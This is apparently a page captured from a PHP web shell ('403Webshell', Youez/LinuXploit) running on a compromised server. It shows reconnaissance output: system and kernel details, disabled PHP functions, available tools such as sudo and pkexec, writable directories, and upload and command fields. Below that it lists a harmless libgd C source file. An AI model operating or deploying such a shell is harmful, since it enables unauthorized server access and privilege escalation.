403Webshell
Server IP : 172.67.216.182  /  Your IP : 162.158.108.121
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/82/src/ext/gd/libgd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/82/src/ext/gd/libgd/gd_io_file.c
/*
   * io_file.c
   *
   * Implements the file interface.
   *
   * As will all I/O modules, most functions are for local use only (called
   * via function pointers in the I/O context).
   *
   * Most functions are just 'wrappers' for standard file functions.
   *
   * Written/Modified 1999, Philip Warner.
   *
 */

/* For platforms with incomplete ANSI defines. Fortunately,
   SEEK_SET is defined to be zero by the standard. */

#ifndef SEEK_SET
#define SEEK_SET 0
#endif /* SEEK_SET */

#include <math.h>
#include <string.h>
#include <stdlib.h>
#include "gd.h"
#include "gdhelpers.h"

/* this is used for creating images in main memory */

typedef struct fileIOCtx
{
	gdIOCtx ctx;
	FILE *f;
} fileIOCtx;

gdIOCtx *newFileCtx (FILE * f);

static int fileGetbuf (gdIOCtx *, void *, int);
static int filePutbuf (gdIOCtx *, const void *, int);
static void filePutchar (gdIOCtx *, int);
static int fileGetchar (gdIOCtx * ctx);

static int fileSeek (struct gdIOCtx *, const int);
static long fileTell (struct gdIOCtx *);
static void gdFreeFileCtx (gdIOCtx * ctx);

/* return data as a dynamic pointer */
gdIOCtx * gdNewFileCtx (FILE * f)
{
	fileIOCtx *ctx;

	ctx = (fileIOCtx *) gdMalloc(sizeof (fileIOCtx));

	ctx->f = f;

	ctx->ctx.getC = fileGetchar;
	ctx->ctx.putC = filePutchar;

	ctx->ctx.getBuf = fileGetbuf;
	ctx->ctx.putBuf = filePutbuf;

	ctx->ctx.tell = fileTell;
	ctx->ctx.seek = fileSeek;

	ctx->ctx.gd_free = gdFreeFileCtx;

	return (gdIOCtx *) ctx;
}

static void gdFreeFileCtx (gdIOCtx * ctx)
{
	gdFree(ctx);
}


static int filePutbuf (gdIOCtx * ctx, const void *buf, int size)
{
	fileIOCtx *fctx;
	fctx = (fileIOCtx *) ctx;

	return fwrite(buf, 1, size, fctx->f);

}

static int fileGetbuf (gdIOCtx * ctx, void *buf, int size)
{
	fileIOCtx *fctx;
	fctx = (fileIOCtx *) ctx;

	return fread(buf, 1, size, fctx->f);
}

static void filePutchar (gdIOCtx * ctx, int a)
{
	unsigned char b;
	fileIOCtx *fctx;
	fctx = (fileIOCtx *) ctx;

	b = a;

	putc (b, fctx->f);
}

static int fileGetchar (gdIOCtx * ctx)
{
	fileIOCtx *fctx;
	fctx = (fileIOCtx *) ctx;

	return getc (fctx->f);
}


static int fileSeek (struct gdIOCtx *ctx, const int pos)
{
	fileIOCtx *fctx;
	fctx = (fileIOCtx *) ctx;

	return (fseek (fctx->f, pos, SEEK_SET) == 0);
}

static long fileTell (struct gdIOCtx *ctx)
{
	fileIOCtx *fctx;
	fctx = (fileIOCtx *) ctx;

	return ftell (fctx->f);
}

Youez - 2016 - github.com/yon3zu
LinuXploit